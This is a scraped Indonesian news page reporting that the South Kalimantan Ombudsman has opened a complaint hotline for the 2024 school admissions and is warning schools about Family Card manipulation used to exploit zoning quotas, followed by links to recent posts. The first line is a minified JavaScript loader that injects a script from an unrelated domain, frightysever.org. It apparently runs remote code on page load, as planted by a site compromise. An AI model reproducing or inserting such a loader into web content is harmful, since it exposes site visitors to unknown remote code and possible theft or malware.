(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

PPDB 2024 Dimulai, Ombudsman Kalsel Buka Hotline Pengaduan


KANALKALIMANTAN.COM, BANJARMASIN – Memasuki masa Penerimaan Peserta Didik Baru (PPDB) tahun ajaran 2024-2025, Perwakilan Ombudsman RI Kalimantan Selatan (Kalsel) ingatkan beberapa hal kepada pihak sekolah.

Disampaikan Ketua Ombudsman Kalsel Hadi Rahman, untuk PPDB tahun 2024, penyelenggara diminta memperhatikan ketentuan Permendikbud Nomor 1 Tahun 2021 Tentang Penerimaan Peserta Didik Baru pada Taman Kanak-Kanak, Sekolah Dasar, Sekolah Menengah Pertama, Sekolah Menengah Atas, dan Sekolah Menengah Kejuruan.

Dimana jalur-jalur PPDB memiliki kuota masing-masing di setiap tingkatan sekolah, misalnya untuk jalur zonasi tingkat SD paling sedikit 70%, tingkat SMP 50%, dan tingkat SMA 50% jalur afirmasi paling sedikit 15%, jalur perpindahan paling banyak 5%.

Baca juga: Strategi dan Inovasi Digital dalam Pengembangan Usaha Kecil

Pihak sekolah sebagai penyelenggara PPDB, kata Hadi, diharapkan masif melakukan sosialisasi kepada calon pendaftar, khususnya dalam mempertimbangkan untuk mendaftar di jalur PPDB, mengingat calon peserta didik hanya diperkenankan untuk mendaftar pada satu jalur saja.

Kepala Ombudsman Kalsel juga mengingatkan kepada penyelenggara PPDB untuk mengantisipasi temuan Ombudsman Kalsel terhadap PPDB tahun 2023 lalu.

Sekolah penyelenggara PPDB diharapkan melakukan verifikasi lebih teliti, jika dimungkinkan melakukan verifikasi faktual ke lapangan, tidak hanya melihat bukti dukung faktual berupa dokumen sebagai syarat PPDB.

Baca juga: Smart City di IKN, PLN Siapkan Jaringan Listrik Terintegrasi Layanan Teknologi Digital

Hal itu kata Hadi untuk mencegah terjadinya rekayasa Kartu Keluarga (KK) agar dapat masuk melalui jalur zonasi, berdampak pada tidak lolos calon peserta didik (CPD) yang domisili dari awal memang dekat dengan sekolah.

“Modusnya, melalui pemindahan domisili calon peserta didik dalam data administrasi kependudukan sebelum pelaksanaan PPDB, dengan memisahkan yang bersangkutan dari KK orangtua masuk ke KK orang lain yang rumahnya dekat dengan sekolah favorit yang hendak dituju, dengan status famili lain dalam KK,” ujarnya, Sabtu (8/6/2024) siang.

Ombudsman Kalsel kata Hadi juga menghimbau agar pihak penyelenggara PPDB menjelaskan dan meyakinkan kepada masyarakat bahwa tidak ada lagi label sekolah favorit, dengan kata lain semua sekolah memiliki kualitas yang sama, mengingat kurikulum yang digunakan sama di semua sekolah.

Baca juga: Tiga Daerah di Kalsel Waspada, Hujan Lebat Diprediksi Terjadi 5 Hari Kedepan

Selain itu, pelaksanaan PPDB oleh satuan pendidikan negeri di bawah Kemendikbudristek dan Kementerian Agama, tidak boleh melakukan pungutan kepada calon peserta didik yang dikaitkan dengan kelulusan dalam proses PPDB.

“Apabila masyarakat menemukan indikasi adanya pelanggaran PPDB, silakan sampaikan kepada kami dan identitas pelapor dapat dirahasiakan,” tegas Hadi.

Pengaduan terkait adanya indikasi pelanggaran PPDB dapat diakses masyarakat melalui berbagai kanal yang telah disediakan Ombudsman Kalsel, yaitu WhatsApp/telepon di nomor 08111653737, email kalsel@ombudsman.go.id, atau datang langsung ke Kantor Perwakilan Ombudsman RI Kalsel di Jl. Letjend. S. Parman Nomor 57 Banjarmasin. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

4 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.